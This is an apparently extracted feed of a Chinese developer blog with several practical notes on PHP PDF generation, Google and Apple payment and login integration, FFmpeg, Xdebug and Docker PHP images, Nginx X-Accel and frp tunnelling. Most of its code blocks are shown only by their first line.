在这种情况下,如果需要生成一些比较复杂的 PDF,就会变得十分困难。
今天要介绍的Chrome PHP,则可以完美解决以上问题。
Headless Chrome 别名无头浏览器,其实在之前的多篇笔记中,都有提到过。
上一次生成 PDF 时,是打算使用它,但是因为当时时间比较紧,使用过程中遇到比较多的问题,就临时改用了其他解决方案。
这一次因为需要生成的 PDF 比较复杂,使用之前的解决方案都无法解决。
好在这次时间比较充裕,多花了些时间,顺利解决了。
过程中遇到一些问题,在此整理出来。
使用 Chrome PHP 之前,需要安装 Chrome or Chromium,安装和使用就不在此过多介绍了,可以参考这篇笔记。
这篇笔记主要介绍,使用过程中遇到的一些问题。
最新版本的 Headless,需要安装 sockets 扩展,如果没有该扩展,则不会安装最新版本,默认安装不需要 sockets支持的版本。
而使用较低版本,则会有一些 Bug 存在。
解决方案也很简单,就是安装 sockets 扩展,然后升级最新版本即可。
在本地开发环境,因为 Mac 系统默认安装了各种字体文件,对中文的支持友好,生成PDF 时,不会出现乱码的情况。
而在 Linux 环境下,默认是缺少一些中文字体文件的。
这种情况下,直接使用 Chrome PHP 去处理中文字符,则会出现乱码:
解决方案:
fc-list
命令查看系统的字体文件库,是否有中文字体,不过通过不存在,否则也不会乱码安装 ttmkfdir
,如果已经安装了,跳过下一步
如果是 Centos,需要创建字体目录,并给文件夹权限
1 | $ mkdir /usr/share/fonts/chinese && chmod -R 755 /usr/share/fonts/chinese |
将所需字体文件,上传至 /usr/share/fonts/chinese
目录下
执行以下命令:
1 | $ ttmkfdir -e /usr/share/X11/fonts/encodings/encodings.dir |
/etc/fonts/fonts.con
字体配置文件:1 | <!-- Font directory list --> |
分别执行 fc-cache
、fc-cache-64
命令
再次执行 fc-list
命令,查看导入的中文字体包是否存在
如果能看到,字体文件存在,基本上就不会出现乱码了。
测试一下:
Headless Chrome 的用法非常多,不仅仅只是生成图片、生成 PDF,这里只是它的冰山一角,还有很多更高级的用法,更多用法查看Github。
这篇笔记会把遇到的一些坑,一一列举出来,以下是正文。
谷歌支付流程和苹果支付流程有很多相似的地方,下面是谷歌支付流程:
在上面的过程中,需要请求 Google Play Developer Api,这里就需要解决一个问题:如何进行身份认证。
Google Play Developer Api 提供两种方式进行身份认证:
网上许多教程都是使用 OAuth2.0 方式授权 Api,虽然也是能实现,但是需要通过 Web 页面进行授权,因此并不适用于 App 的使用场景,后面会在另外一篇笔记中,详细记录如何通过该方式进行身份认证。
更多有关 OAuth2.0 的介绍,可以查看 Google 官方的说明——使用OAuth 2.0 授权。
通俗点说,服务账号是一种特殊的账号,用于进行身份认证,使用它可以访问该服务账号有权访问的所有资源。
更多有关服务账号的介绍,可以查看 Google 官方的说明——服务账号概览。
下面将介绍如何创建服务账号以及授权 Google Play Developer Api。
正式开始之前,首先得有一个 Google 开发者账号,如果没有直接去注册一个,不过需要注意的是,注册需要支付 25 美元的一次性注册费。
输入服务帐户名称,复制其ID,然后单击创建并继续
授予此服务账号访问权限
下载的密钥要保存好,后续会用到。
输入之前创建的服务账号的邮箱地址,添加到应用程序,然后单击应用
授予账户权限,然后单击页面底部的邀请用户,下一步会被引导至用户和权限部分,授予下图中勾选的权限即可。
至此,服务账号的准备工作就全部做完了,但是这个服务账号还不能马上使用。
这是因为 Google 服务凭证最多需要 24 小时,才能与 Google Developer Api 正常工作。
在此期间,如果使用了该服务账号,Google Play Developer Api 可能会返回以下错误当前用户没有足够的权限来执行请求的操作。
此时需要做的事情就是,等待就好了。
刚开始接入 Google Play Developer Api 时,并不知道这个坑,毕竟过往几乎所有的配置,都是实时生效的。
所以就导致,总以为是自己的问题,哪里的什么权限没有给到。
查阅各种资料,联系Google 技术支持,在这个地方,耗费了大量时间。。。
等待 24 小时之后,找到前面下载的 JSON 密钥文件。
可以使用 Google Api 官方提供的 google-api-php-client,也可以使用 Laravel In-App purchase,进行身份验证。
这里以 Laravel In-App purchase 为例:
1 | use Imdhemy\Purchases\Facades\Subscription; |
其中 product_id
是,用户选择的产品或者订阅项,purchase_token
则是App 发起支付之后,Google Play 返回给客户端的加密之后订单信息,服务端要做的就是,将完整的订单信息请求 Google Play Developer Api 解密出来。
更多字段含义解释,查看官方文档。
和苹果支付不一样的是,谷歌支付的通知,需要完成一些配置才能使用。
Google Play RTDN 也叫做Google 实时开发者通知,是利用Google Cloud Pub/Sub 发送实时通知,
无需通过轮询 Api,即可监听订阅状态变化。
要使用 Cloud Pub/Sub,必须拥有启用了 Cloud Pub/Sub 的 Google Cloud Platform 项目。
接收通知需要执行以下步骤:
要创建主题,可以使用Google 提供的Guide me 功能,该功能引导主题创建。
然后单击创建主题按钮。在主题 ID字段中,输入主题的唯一 ID,然后单击保存。
要接收来自该主题的消息,需要创建该主题的订阅。要创建订阅,需要执行以下操作:
Google Pub/Sub 要授予 Google Play 主题发布通知的权限,才能正常使用,需要执行以下操作:
google-play-developer-notifications@system.gserviceaccount.com
,并授予Pub/Sub Publisher角色。做好以上配置之后,还需要启用订阅才能正常使用。
projects/{project_id}/topics/{topic_name}
可以点击传送测试通知按钮,测试通知是否正常发送到上面填写的通知地址。
至此,谷歌支付的流程就跑通了。
如果还遇到其他问题,去Google 帮助中心搜索,会比搜索引擎的结果更有效一些,说不定就能看到一些有用的回答。
好在有一些勤劳的人已经为我们完成了艰苦的工作——Laravel In-App purchase。
使用 Laravel In-App purchase 这个扩展包,可以很轻松接入苹果支付。
通过 Composer 安装:
1 | $ composer require imdhemy/laravel-purchases |
发布配置文件:
1 | $ php artisan liap:config:publish |
config/liap.php
将创建一个包含以下配置键的文件,核心配置项如下:
routing
: 允许添加自定义路由配置google_play_package_name
: Google Play 包名称appstore_password
: App Store 共享密钥,下面会介绍如何获取eventListeners
: 事件列表仅当需要从App Store请求测试通知时,才需要以下键:
appstore_private_key_id
:来自 App Store 连接的私钥 ID(例如:2X9R4HXF34)appstore_private_key
:私钥文件的路径(例如:/path/to/SuperSecretKey_ABC123.p8)appstore_issuer_id
:App Store Connect 中“密钥”页面中的颁发者 ID(例如:57246542-96fe-1a63-e053-0824d011072a)appstore_bundle_id
:应用程序的捆绑 ID(例如:com.example.testbundleid2021)根据实际情况,选择创建对应类型的销售产品,订阅、消耗品还是非消耗品。
要在应用内提供应用内购买,需要先在 App Store Connect 中添加其信息:
请求 App Store Api 时,需要用到 App-Specific Share Secret,通过以下方式获取:
支付流程:
流程图如下:
这个支付流程和一些主流的支付流程不一样,传统的支付流程是在服务端发起支付,然后通过回调确认是否支付成功。
而 In-App purchase 的核心支付流程是由,客户端发起支付,然后再由服务端去确认是否支付成功。
上面流程中,大部分都是 App 上的逻辑,就不在此过多介绍。
从第六步开始,才与服务端有关,需要由服务端,向 App Store 发起验证。
1 | use Imdhemy\Purchases\Facades\Subscription; |
App 那边会从 Apple 那边拿到一个 receiptData 收据,这个收据用于向App Store,验证订单信息,是否有效。
除了处理收据问题,另外一个比较重要的就是通知了。
当订阅过期时,会发送过期对应的事件、当用户重新续订时,会发送续订事件、当订阅状态发生变化时,也会发送对应事件。
常用的订阅事件及子事件:
如果要查看更多的订阅事件,可以查看App Store 订阅事件列表。
1 |
|
正常解析出来,可以得到以下信息:
1 | { |
关于字段完整解释,可以查看 Transaction data types。
Laravel In-App purchase 提供 URL 在 App Store Connect / Google Play 中设置服务器通知地址。
php artisan liap:url
命令,可以通过 routing.signed
配置选择是否需要带有签名的 URL:1 | $ php artisan liap:url |
签名用于验证,请求是否合法。
1
或2
版本不同,会导致通知类型有所不一样,完整的 notificationType 可以查看苹果开发者文档。
关于苹果支付,因为跟传统的支付流程不太一样,内容还是挺多的,暂时只用到订阅部分,后面有其他的内容再补充。
功能没有问题,确实可以实现完整订阅,取消订阅逻辑。
但是无法上架 App Store。
因为要上架 App Store,必须要使用 In-App Purchase(应用内购买),而 Stripe 提供的订阅功能,是不走 In-App Purchase。
因此,要上架 App Store,只能重新接入原生的苹果支付。
在正式接入苹果支付之前,需要先了解一些概念:
App 内购买项目是指你在 App 内购买的额外内容或订阅。不是所有 App 都会提供 App 内购买项目。要在购买或下载某个 App 之前检查这个 App 是不是提供 App 内购买项目,请在 App Store 中找到这个 App。然后在这个 App 的价格或“获取”按钮附近查看有没有“App 内购买”字样。
App 内购买项目共分三种类型 — 订阅、非消耗型购买项目和消耗型购买项目。
订阅是指你支付相应的费用,以便能够在一段时间内访问某一 App 或服务中的内容。例如,你可以按月订阅 Apple Music。订阅包括你在 App 中注册的服务,例如视频流媒体服务或音乐流媒体服务。
除非你取消订阅,否则大多数订阅会自动续订。对于某些 App 和服务,你可以选取订阅续订的频率。例如,这些 App 和服务可能会为你提供每周、每月、每季度或每年的订阅选项。
下面列举了非消耗型 App 内购买项目的示例:
你只需购买一次这些项目,即可传输到与你的 Apple ID 相关联的其他设备上。如果你丢失了非消耗型购买项目,或许可以免费恢复。
下面列举了消耗型 App 内购买项目的示例:
每次需要这些项目时,你都需要重新购买,并且你无法免费重新下载已购买的项目。如果你移除并重新安装 App,或在新设备上安装 App,这些消耗型购买项目可能会丢失。例如,如果你之前曾在 iPhone 上开始玩一款游戏,而后又在 iPad 上安装了这款游戏,则游戏关卡会同步,但你在 iPhone 上购买的额外生命值不会同步。
在了解了一些基础知识之后,下一步就可以准备开始接入订阅了。
Reactotron 是一个用于 React JS 和 React Native App 的网络请求调试工具,就可以很好的实现该功能。
首先需要下载安装 Reactotron,支持Linux、Windows、Mac。
直接解压运行:
Reactotron 默认监听的是 9090
端口。
在项目中,安装 Reactotron Dev 依赖:
1 | $ npm i --save-dev reactotron-react-native |
在项目目录下创建 ReactotronConfig.js
文件,并且将以下代码粘贴进去:
1 | import Reactotron from 'reactotron-react-native' |
最后,在项目启动的 index.js
或 App.js
中,导入:
1 | import './ReactotronConfig' |
这一步很重要,如果没有导入,Reactotron 是发现不了应用的。
打开 Reactotron,并保持运行,然后使用 npm start
启动项目,正常情况下,应该可以看到已连接状态:
如果没有看到,可以看到以下,9090
端口是否被占用?
如果本地开着 Clash,端口有可能会被占用,因为 Clash 默认的外部控制端口也是 9090
。
注意💡:如果是用真机调试,需要使用以下命令开启 9090 端口连接:
1 | adb reverse tcp:9090 tcp:9090 |
如果一切顺利,就可以看到 Timeline 是有记录的:
]]>这时,Nginx 的 X-Accel 就是一个非常有用的工具,它可以安全、高效地提供文件访问服务。
X-Accel 是 Nginx 提供的一种重定向机制,它可以在 Nginx 内部实现文件的访问,而不会直接暴露文件路径。这种机制可以提高安全性,避免了直接访问文件路径的风险,并且可以实现更多的功能,如权限控制和防盗链等。
Nginx 的配置很简单,有两种方式:
1 | # 当访问 /protected_files/myfile.tar.gz 这个地址时 |
两种方式的结果是一样的,但需要注意区别。
还可以代理到另外一台服务器:
1 | location /protected_files { |
配置好 Nginx 之后,并不是直接通过访问 /producted_files
来访问的,需要在响应头中增加一些“特殊的头”。
其中,最重要的是 X-Accel-Redirect
这个响应头,下面以 PHP 代码为例:
1 |
|
在这段代码中,主要是设置了响应头信息,其中:
Content-Type
为 application/octet-stream
,表示这是一个二进制流文件,需要下载;Content-Disposition
表示文件的下载方式,attachment 表示文件需要下载,而不是在浏览器中打开;X-Accel-Redirect
表示内部重定向地址,即需要下载的文件的地址。X-Accel 的应用场景,除了文件下载。
还可以用于需要文件读取的场景,如果使用原生的 PHP 读取文件的方式 readfile()
,会一次读取整个文件。
当需要读取一些大文件时,这是非常不友好的。
这是也可以使用到 X-Accel
,它会返回状态码为 206 的响应,将一个大文件,可以分成 N 次获取。
使用 X-Accel
方式读取文件:
使用 readfile
方式读取文件:
通過 Nginx Access.log 可以清晰地看到,前者是分了多次读取文件的,而后者只有一次就读完了。
发送之前,这时需要启用一些邮箱配置,才能正常发送。
在启用具体的服务之前,先来了解一下什么是 SMTP/IMAP 服务。
IMAP(Internet Message Access Protocol)和 SMTP(Simple Mail Transfer Protocol)是两种用于电子邮件通信的不同协议,它们在电子邮件的处理和传输方面具有不同的功能和角色。
IMAP 是一种接收邮件协议,用于从邮件服务器上获取电子邮件。IMAP 允许用户从多个设备上访问他们的电子邮件,同时保持邮件服务器上的邮件状态同步。
特点:
SMTP 是一种发送邮件协议,用于将电子邮件从发件人的电子邮件客户端传递到接收人的邮件服务器。SMTP仅用于发送邮件,不用于接收或存储邮件。它是电子邮件系统的邮寄服务。
特点:
首先登录 Gmail,打开主面板。
先点击小齿轮,然后点击查看所有设置。
在 Tab 栏找到『转发和 POP/IMAP』,任何邮箱初始 IMAP 都是关闭的,这里点启用 IMAP 最后保存更改就可以了。
上面我们已经开启了谷歌的 IMAP 服务,谷歌的邮箱机制是 IMAP 一旦开通,SMTP也就自动开通了,设置里没有看到开启 SMTP 服务的地方没有关系。
到这里还不能直接使用,下一步需要进入谷歌账号页面,获取谷歌应用专用密码。
获取谷歌应用专用密码之前,需要开启两步验证,否则会出现以下提示:
开启两步验证:
开启两步验证之后,进入到两步验证的菜单里,点击 App passwords 或者是直接点击获取谷歌应用专用密码。
下一步开始添加应用密码,输入应用名称,然后点击 Create 即可。
生成的密码类似这样,会代替邮箱的密码,用于邮件发送:
1 | wwww xxxx yyyy zzzz |
首次生成后,需复制保存好,如果忘记就只能删除重新生成。
实际使用时,按照上面的配置信息进行填写即可。
首先需要准备一个 Google 账号。
然后进入到 Google Cloud,创建新的项目。
点击 New Project,创建一个新的项目:
创建完成之后,下一步完善应用信息:
如果需要用到一些服务,例如Google Map、Machine learning、Google Workspace 等等服务,可以从这里去启用:
下一步需要做的是,配置 Google OAuth consent screen:
选择用户类型,因为最终需要在生产环境中去使用,因此选择 External。
接下来就是按照提示,一步步,填写必要的信息。
创建好 OAuth consent screen 之后,下一步就可以创建 Credentials。
点击 Create Credentials,会出现一个下拉选项:
因为接下来是要实现 Google 第三方登录,因此选择 OAuth Client ID。
依据客户端,选择对应的应用类型:
补充好相关信息,点击 Create 即可:
核心逻辑如下:
因为客户端可以是 Web、iOS、 Android,此处省略了,客户端如何获取 accessToken 的步骤。
拿到 accessToken 之后,就很简单了,直接请求 Google Api 即可拿到用户数据。
1 | try { |
想要接入 Apple 第三方登录,有两种方式:
两种方式都可以获取到用户授权的 Apple 信息,但是第一种方式相对简单一些。
登录流程图如下:
客户端(APP 端)登录成功之后,会拿到以下信息:
1 | Object { |
其中有一个 identityToken
字段,这个字段的值其实就是一个 JWT,可以看到使用 .
进行分隔,分为header
、payload
、signature
三部分。
客户端需要把这个 identityToken
传给后端,后端进行验证。
JWT里的 signature
部分是苹果使用私钥对其进行的签名,要验证这个签名,需要先获得苹果的公钥,而公钥可以通过JWKSet.Keys(JSON Web Key Set)来转换获得。
如果请求成功,响应对象会包含三个 Apple 的公钥 JWKSet.Keys
该 API 会返回多个密钥,密钥的数量可能随时间而变化,从这组密钥中,选择具有匹配密钥标识符 ( kid) 的密钥来验证 Apple 颁发的任何 JSON Web 令牌 (JWT) 的签名。
因为需要对JWT的签名进行验证,因此需要使用到 firebase/php-jwt 第三方包。
1 |
|
如果验证成功,$payload
的核心字段有以下内容:
iss
:发行者注册的声明标识了发行身份令牌的主体。由于 Apple 生成令牌,因此值为:https://appleid.apple.com
sub
:用户的唯一标识符aud
:开发者帐户 Client.idiat
:Apple 发布身份令牌的时间exp
:标识身份令牌过期的时间email
:用户的 Email,可能是用户的真实电子邮件地址或代理地址,取决于授权时,是否隐藏真实电子邮箱。email_verified
:是否验证 Emailis_private_email
:是否是代理地址拿到用户的 Apple ID 和Email 之后,就可以完成后续的登录逻辑了。
登录流程如下:
第二种方式验证时,所需要的东西多一些:
关于如何创建 Client Secret,可以点击查看。
更多其他请求参数,可以查阅更多。
FFMpeg 最常用的是他的命令行工具,通过一行简单的命令,即可将一个 mp4
格式的视频转换成 avi
格式。
1 | $ ffmpeg -i input.mp4 output.avi |
这篇笔记介绍一些基本概念,如果还没安装,可以根据官方文档先完成安装。
在介绍 FFmpeg 的工作命令之前,我们首先对视频文件内部的一些概念做一个通俗的说明。
视频文件本身其实是一个容器,里面包括了视频流和音频流,也可能有字幕流(有的视频将字幕流嵌入到了视频流中(内嵌字幕),这类视频没有字幕流)。
常见的容器格式有以下几种。一般来说,视频文件的后缀名反映了它的容器格式。
视频和音频都需要经过编码,才能保存成文件。不同的编码格式(CODEC),有不同的压缩率,会导致文件大小和清晰度的差异。
先来了解一下编码和解码的概念:
FFmpeg 支持基本所有的主流编码格式。
常见的视频编码格式有:
H.264
是上一代最广为使用的视频编码格式,始于 2003 年,当之无愧的一代霸主。在 FFmpeg 中可由 libx264 编码器支持。H.265/HEVC
是 H.264 的接任者,于 2013 年正式面世。它在同等视频质量下提供了相比 H.264 而言可达 50% 的体积缩减。 libx265 编码器对该编码格式提供了支持。常用的音频编码格式有:
MP3
时至今日仍最流行的有损编码格式。编码器 libmp3lame。AAC
是 MP3 的接任者,常常作为视频容器 MKV 选用的音频格式,而其作为音频时的容器则通常是是 m4a。编码器有 FFmpeg 原生提供的、针对低码率音频(AAC LC)的 aac 编码器;此外,需要制作高质量 AAC 时(HE-AAC)可以使用 libfdk_aac 编码器。AC3
杜比数字格式,编码器 ac3 (Dolby Digital) 或者 eac3 (Dolby Digital Plus)。FLAC
是较常用的无损音频格式;FFmpeg 对其有原生的编码器 flac 支持。PCM
是 WAV 容器内包含的最常见音频编码格式。FFmpeg 默认使用 pcm_s16le 编码器来处理 PCM 输出。对于视频而言,以下参数会对视频质量和文件大小有直接影响:
对于音频而言,以下参数会对音频质量和文件大小有直接影响:
查看视频/音频文件的元信息,比如编码格式和比特率,可以只使用-i
参数:
1 | $ ffmpeg -i input.mp3 |
上面命令会输出很多冗余信息,加上-hide_banner
参数,可以只显示元信息:
1 | $ ffmpeg -i input.mp3 -hide_banner |
1 | $ ffmpeg -i input.mp3 -ar 44100 -b:a 128k output.mp3 |
-ar 44100
: 指定音频采样率为 44100 Hz,这是每秒采样的音频样本数量-b:a 128k
: 指定音频比特率为 128 kbps,这是音频的数据传输速率output.mp3
: 指定输出文件名为 output.mp3,这是转码后生成的目标音频文件1 | $ ffmpeg -i input.wav -codec:a libmp3lame -q:a 4 output.mp3 |
-codec:a libmp3lame
: 指定音频编解码器为 libmp3lame,这是用于将音频编码为 MP3 格式的编解码器。-q:a 4
: 指定音频质量,取值范围为 0-9,其中 0 为最高质量,9 为最低质量(默认为 4)。output.mp3
: 指定输出文件名为 output.mp3,这是转码后生成的目标音频文件。1 | $ ffmpeg -loop 1 -i cover.jpg -i input.mp3 -shortest output.mp3 |
-i cover.jpg
:表示输入封面图片 cover.jpg,另一个则是音频文件而这篇笔记要介绍的是,如何在 Docker 中使用 Xdebug 进行调试。
有两种方式,一种是通过主动开启 Debug 监听,另一种则是配置环境变量。
调试之前需要先安装好 Xdebug 扩展,这里就不过多介绍如何安装了。
编辑 php.ini
配置文件,增加以下配置内容:
1 | xdebug.mode=develop,debug |
xdebug.remote_enable
:开启远程调试xdebug.remote_port
:调试监听的端口xdebug.idekey
:Xdebug idekey,需要与 PHPStorm 里的配置保持一致xdebug.client_host
:宿主机地址添加远程调试:
Server 配置:
注意:需要勾选使用路径映射,然后下面对应项目在 Docker 容器中的路径。
使用 PHPStorm 的Web 服务器调试工具验证一下:
如果能看到以上输出,则可以开始调试了。
开启调试之前,需要先点击右上角的 Debug 按钮,开启调试监听。
正常即可看到,下方的调试器,正在等待 ide key 传入连接。
如果看到的不是等待 ide key 传入连接,通常是因为路径映射有问题,检查一下
如果传入请求的 XDEBUG_SESSION_START
参数的值,正好是自定义的 ide key,断点便会进入。
使用这种方式进行调试,一定记得打开调试,否则断点不会进入。
下面这种方式,需要在容器中配置环境变量:
1 | PHP_IDE_CONFIG='serverName=ClientHost' |
环境变量中,指定需要使用的 Server Name。
然后在需要调试的地方,加上断点即可,无需点击 Debug 按钮。
如果没有配置环境变量,则会提示如下信息:
]]>编写好 Dockerfile 之后,就可以构建成镜像了,推送到自己的 Dockerhub,之后想要使用就很方便了。
这篇笔记,来介绍,如何在 Mac 上使用 Docker 运行 PHP。
除了 PHP 是使用容器,Mysql、Nginx、Redis 等服务都是跑在本地。
为了保证,每次重启容器,IP 不会发生变化,在创建容器的时候,需要固定容器 IP。
因此,可以单独创建一个 network,所有的 PHP 容器都放在这个网络下。
创建 network:
1 | $ docker network create --subnet=172.22.0.0/24 bridge0 |
创建 PHP 容器:
1 | $ docker run -d --name php-7.1.33 --net bridge0 --ip 172.22.0.5 -p 7133:9000 -v ~/Projects:/var/www hoooliday/php:7.1.33 |
不同版本的 PHP,对应监听本地不同的端口,需要切换版本时,更改转发端口即可。
在 Mac 上使用 PHP 容器 + Nginx 部署网站时,Nginx 通常充当反向代理服务器,将请求转发到 PHP 容器,而静态资源(例如 CSS、JavaScript、图片等)通常存储在宿主机上,而不在 PHP 容器中。
因此,在 Nginx 配置文件中,对于动态资源,需要配置容器的绝对路径; 对于静态资源这一块,需要配置宿主机的绝对路径。
示例配置:
1 | server { |
使用Bridge 网络模式,在容器中,需要访问宿主机网络,这里提供一个最简单的方案。
Docker for Mac 提供了一个指向宿主机的域名 host.docker.internal
,在需要访问宿主机服务时使用此域名即可,如果是旧版本,则需要使用较旧的别名 docker.for.mac.host.internal
。
在容器中,ping 宿主机域名,可以看到,是能正常访问的:
将项目中需要用到宿主机IP 的位置,换成 host.docker.internal
即可正常访问到宿主机服务(Mysql、Redis)。
PHP 想要生成 PDF,已经有了许多比较成熟的扩展包:
因为使用框架(ThinkPHP)的限制,和 Laravel 有关的扩展包是用不了了,dompdf、phpspreadsheet、tcpdf 都用过之后,最后选择了 tcpdf。
没有选择 dompdf 的原因是,对中文支持不友好,默认生成包含中文字符的 PDF 会产生乱码,要解决这个问题,需要额外安装字体,整个过程不是很方便,便放弃了使用这个包。
安装:
1 | $ composer require tecnickcom/tcpdf |
dompdf 和 tcpdf 本质上,都是通过对 HTML 进行渲染,最终生成 PDF。因为 tcpdf 支持的css太低级了,所有的样式都是以内联的方式去写,并且只能使用 table 标签生成 PDF,如果使用 div 标签,很多样式都会丢失。
示例如下:
1 | public function generatePDF() { |
最终效果如下:
因为需求要求下载 PDF 之前,有一个 PDF 的预览图,因此,需要想办法根据已有 PDF 生成一张 对应的预览图。
一开始,我想的是使用 Headless Chrome 抓取网页的方式生成图片,但是遇到了一些莫名其妙的问题,加上开发时间比较紧张,就没有耗费太多时间在上面,于是考虑其他解决方案了。
最终确定下来的方案就是,通过 PHP 的 imagick 扩展,来生成图片,核心代码如下:
1 | public function pdf2png($fromPath,$targetPath) |
该方法,接收两个参数,分别是目标 PDF 所在路径,以及需要生成的图片的所在路径,如果生成成功,则返回路径,否则失败返回 false。
使用该方法的提前是安装 imagick 扩展,具体的安装过程就不在这里详细展开了。
另外要正常使用 ImageMagick,还需要安装 Ghostscript 这个命令行工具,否则无法正常使用。
使用 smalot/pdfparser
扩展包,可以读取 PDF 文件的指定页内容。
安装:
1 | $ composer require smalot/pdfparser |
这个扩展包使用起来,比较简单,示例如下:
1 |
|
使用 setasign/fpdi
扩展包可以用来处理 PDF 文件。可以结合 setasign/fpdf
来实现将一个多页的 PDF 文档拆分成多个单页的 PDF 文档。
安装:
1 | $ composer require setasign/fpdi |
以下是一个完整示例:
1 |
|
我们通常在局域网内部署服务器和应用,当需要将本地服务提供到互联网外网连接访问时,由于本地服务器本身并无公网IP,就无法实现,这时候就需要内网穿透技术。
想要通过公网访问内网的服务,除了内网穿透技术,还有其他方案可以实现,其他方案不在本文讨论范围,这篇笔记只介绍 frp 内网穿透。
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
这篇笔记只讨论 HTTP 和 TCP 相关的内容。
在正式开始之前,需要做好以下准备工作:
frp 的下载安装非常简单,直接去到发布页,根据服务端/客户端主机系统架构,选择合适的版本,直接下载解压即可。
解压完成之后,文件列表很简单:
frp 主要由 客户端(frpc) 和 服务端(frps) 组成,服务端通常部署在具有公网 IP 的机器上,客户端通常部署在需要穿透的内网服务所在的机器上。
前台运行:
1 | $ ./frpc -c frpc.ini |
后台运行:
1 | $ nohup ./frpc -c frpc.ini &> run.log & |
frp 的原理是,用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
因此端口的访问必须顺畅,为了减少不必要的障碍,建议提前添加好防火墙端口入站规则(云服务器控制台以及主机自身防火墙)。
这个示例通过简单配置 HTTP 类型的代理让用户访问到内网的 Web 服务。
编辑 frps.ini
配置文件:
1 | [common] |
配置说明:
编辑 frpc.ini
配置文件:
1 | [common] |
配置说明:
x.x.x.x
是 frps 所在的外网服务器的 IP说明:
[web]
这个配置项是自定义的,不是一定要定义成[web]
,也可以是[web1]
、[web2]
,它只是一个配置项的名称。
配置文件编写完成之后,接下来就可以分别启动 frps
、frpc
了。
顺利的话,打开 frps 的控制面板,即可看到,http proxies 列表出现了一个名为 web 的记录。
通过浏览器访问 http://www.yourdomain.com:6010
,即可访问到处于内网机器上 80
端口的服务。
主要分为三个分支:
以 php-7.4
为例,常见的版本有 7.4
、7.4.33-zts
、7.4.33-cli
、7.4.33-fpm
、7.4-apache
。
下面一一介绍:
7.4
:是一个基于 PHP 7.4 版本的镜像,包含了 PHP 的基本环境和常用扩展,适用于大多数 PHP 应用程序的部署。该镜像支持 CLI 和 CGI 模式,但不支持 FPM 模式。7.4.33-zts
:是一个基于 PHP 7.4.33 版本的镜像,支持多线程(ZTS)模式,适用于需要在多线程环境下运行 PHP 应用程序的场景。该镜像支持 CLI 模式。7.4.33-cli
:是一个基于 PHP 7.4.33 版本的 CLI 镜像,适用于需要在命令行下运行 PHP 应用程序的场景。该镜像不包含 Web 服务器,只包含 PHP CLI 环境和常用扩展。7.4.33-fpm
:是一个基于 PHP 7.4.33 版本的 FPM 镜像,适用于需要使用 PHP-FPM的场景。在使用该镜像时,需要将 PHP 代码与一个 Web 服务器(如 Nginx 或 Apache)结合使用,以提供 Web 服务。7.4-apache
:是一个基于 PHP 7.4 版本的 Apache 镜像,适用于需要使用 Apache 作为 Web 服务器的场景。该镜像已经预装了 Apache 和 PHP,可以直接用于 Web 应用程序的部署。在使用该镜像时,需要将 PHP 代码放置在 Apache 的 Web 目录中,以便 Apache 可以正确地解释和执行 PHP 代码。7.4
、7.4.33-cli
这些镜像都支持 CLI 模型,而不支持 FPM 模式。
因此通常用于执行一些脚本文件。
1 | docker run --rm --name php-74cli \ |
或者启动一个交互式的命令行:
1 | docker run -it --name php-74cli \ |
参数说明:
--rm
:不保留容器,运行完毕,自动删除-it
:开启一个交互式操作的Shell-v
:挂载宿主机的目录php /www/wwwroot/script.php
:容器启动之后,执行脚本cli 的镜像是不能已后台运行的方式启动的,因为本身只是启动一个交互式的命令行。
7.4.33-fpm
、7.4.33-apache
这些镜像是支持 Web 服务的,
1 | docker run -d --name php-74fpm \ |
参数说明:
-d
:让容器在后台运行-p
:端口号映射,将本机 9000 端口与容器的 9000 端口做映射alpine 版本的镜像,是基于 Alpine Linux 的轻量级镜像,上面的每个版本都有对应的 alpine 版本:
7.4-alpine
7.4.33-zts-alpine
7.4.33-cli-alpine
7.4.33-fpm-alpine
7.4-apache-alpine
如果要编写一个生产环境可用的镜像,最好是基于 fpm-alpine
进行构建,这样构建出来的镜像功能是最完整的,支持 CLI、CGI、FPM 模式。
接下来基于 7.4.33-fpm-alpine
这个镜像,来编写一个 Dockerfile。
可以直接根据官方的镜像,构建应用,为什么还需要自己编写 Dockerfile?
其实是很有必要的,这是因为基于官方的镜像进行构建,还有很多东西是不全的,就比如 composer 就没有安装,再就是许多扩展。
因此,自己编写一个 Dockerfile,定制容器其实是很有必要的。
首先需要确定,还需要哪些扩展:
以及 composer。
完整 Dockefile 如下:
1 | # Dockerfile |
需要注意:
经过测试,该 Dockerfile 是可以正常构建出 PHP-7.4.33 版本的镜像,大小为 160 M。
构建镜像:
1 | $ docker build -f php-7.4.33.Dockerfile . -t php:7.4.33 |
创建 Tag:
1 | $ docker tag php:7.4.33 hoooliday/php:7.4.33 |
发布镜像:
1 | $ docker push hoooliday/php:7.4.33 |
使用 docker-php-ext-install
命令,可以安装除 mongodb
、redis
、swoole
、xdebug
外的扩展。
1 | $ docker-php-ext-install bcmatch |
使用 pecl install
安装 mongodb
、redis
、swoole
、xdebug
等扩展:
1 | $ pecl install xdebug-3.0.3 && docker-php-ext-enable xdebug |
使用 docker-php-ext-enable
命令启用扩展。
手动安装扩展时,可能会缺少必要的构建工具和库,可以使用以下命令安装:
1 | $ apk add --no-cache autoconf build-base |
1 | $ php -r "print phpinfo();" | grep ".ini" |
如果某个扩展包,提示无法加载动态库,这时可根据提示,安装缺少的依赖包:
1 | $ apk update && apk add libc-client-dev |
查看 Docker 网络模式列表:
1 | $ docker network ls |
null
:是最简单的模式,也就是没有网络,但允许其他的网络插件来自定义网络连接。host
:模式直接使用宿主机网络,相当于去掉了容器的网络隔离(其他隔离依然保留),所有的容器会共享宿主机的IP地址和网卡。这种模式没有中间层,通信效率高,但缺少了隔离,运行太多的容器也容易导致端口冲突。bridge
:桥接模式,它有点类似现实世界里的交换机、路由器,只不过是由软件虚拟出来的,容器和宿主机再通过虚拟网卡接入这个网桥,那么它们之间也就可以正常的收发网络数据包了。不过和host模式相比,bridge模式多了虚拟网桥和网卡,通信效率会低一些。Docker 默认使用的模式是 bridge。
默认是不会分配固定 IP 的,也就是每次重启容器时,容器的 IP 将由启动顺序决定,这就会导致容器提供的服务是不可靠的。
不用使用默认的 bridge 网络模式,进行固定 IP 分配,否则会提示:
1 | docker: Error response from daemon: user specified IP address is supported on user defined networks only. |
因此需要先创建一个自定义网络:
1 | # 命令格式:sudo docker network create --subnet=[自定义网络广播地址]/[子网掩码位数] [自定义网络名] |
--subnet
